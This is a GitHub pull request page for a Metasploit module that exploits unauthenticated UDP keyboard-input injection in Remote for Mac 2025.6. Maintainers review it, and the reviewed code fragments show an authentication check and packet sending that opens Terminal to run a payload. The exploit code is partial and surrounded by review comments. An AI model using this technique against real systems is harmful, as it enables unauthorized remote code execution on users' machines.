-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would you mind adding docs here as well?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.
|
||
register_options( | ||
[ | ||
Opt::RHOSTS(), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why is this empty? I don't think this has to be here.
[ | ||
Opt::RHOSTS(), | ||
Opt::RPORT(49229), | ||
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
SSL
is already registered options afaik
protocol = datastore['SSL'] ? 'https' : 'http' | ||
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The send_request_cgi
has already in its options SSL
, so no need to specify it like this.
'ssl' => datastore['SSL'], | ||
'rport' => datastore['RPORT'], | ||
'rhost' => datastore['RHOSTS'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure if this should be here
json = JSON.parse(res.body) | ||
if json['requires.auth'] == false | ||
print_good('Authentication is disabled. Target is vulnerable.') | ||
return true | ||
else | ||
print_error('Authentication is enabled. Exploit aborted.') | ||
return false | ||
end | ||
else | ||
print_error('Unexpected response from target') | ||
return false | ||
end | ||
rescue ::Rex::ConnectionError, JSON::ParserError => e | ||
print_error("Connection or parsing error: #{e.message}") | ||
return false | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Using res.get_json_document
would simplify greatly the logic of this part
udp_port = datastore['RPORT'] | ||
target_ip = datastore['RHOSTS'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Are you sending the UDP request to the same host/port as for TCP HTTP request?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes it’s the same port
udp_sock = UDPSocket.new | ||
udp_sock.connect(target_ip, udp_port) | ||
|
||
print_status('Simulating system keyboard input to open Terminal...') | ||
initial_packets_hex.each do |hexpkt| | ||
udp_sock.send([hexpkt].pack('H*'), 0) | ||
select(nil, nil, nil, 0.05) | ||
end | ||
|
||
prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') | ||
'terminal'.each_char do |ch| | ||
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') | ||
udp_sock.send(pkt, 0) | ||
select(nil, nil, nil, 0.1) | ||
end | ||
|
||
final_packets_hex.each do |hexpkt| | ||
udp_sock.send([hexpkt].pack('H*'), 0) | ||
select(nil, nil, nil, 0.1) | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can use include Msf::Exploit::Remote::Udp
to simplify some of this
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Hi @blue0x1 , just checking in! If you need help with requested changes for this PR, let me know. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would you mind adding check
method here?
|
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
Remote for Mac 2025.6 UDP Keyboard Input RCE Module
This Metasploit module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. The vulnerability allows attackers to send crafted UDP packets that simulate keyboard input, bypassing authentication when the "Allow unknown devices" feature is enabled.
The module sends a sequence of UDP packets to open the Terminal app and then injects a payload command to execute arbitrary code on the target system. The target UDP port must be specified in the RPORT option, as it may vary depending on the target’s configuration.
Successful exploitation results in full remote code execution under the privileges of the Remote for Mac application, potentially leading to full system compromise.
Notes:
References:
https://packetstorm.news/files/id/196351/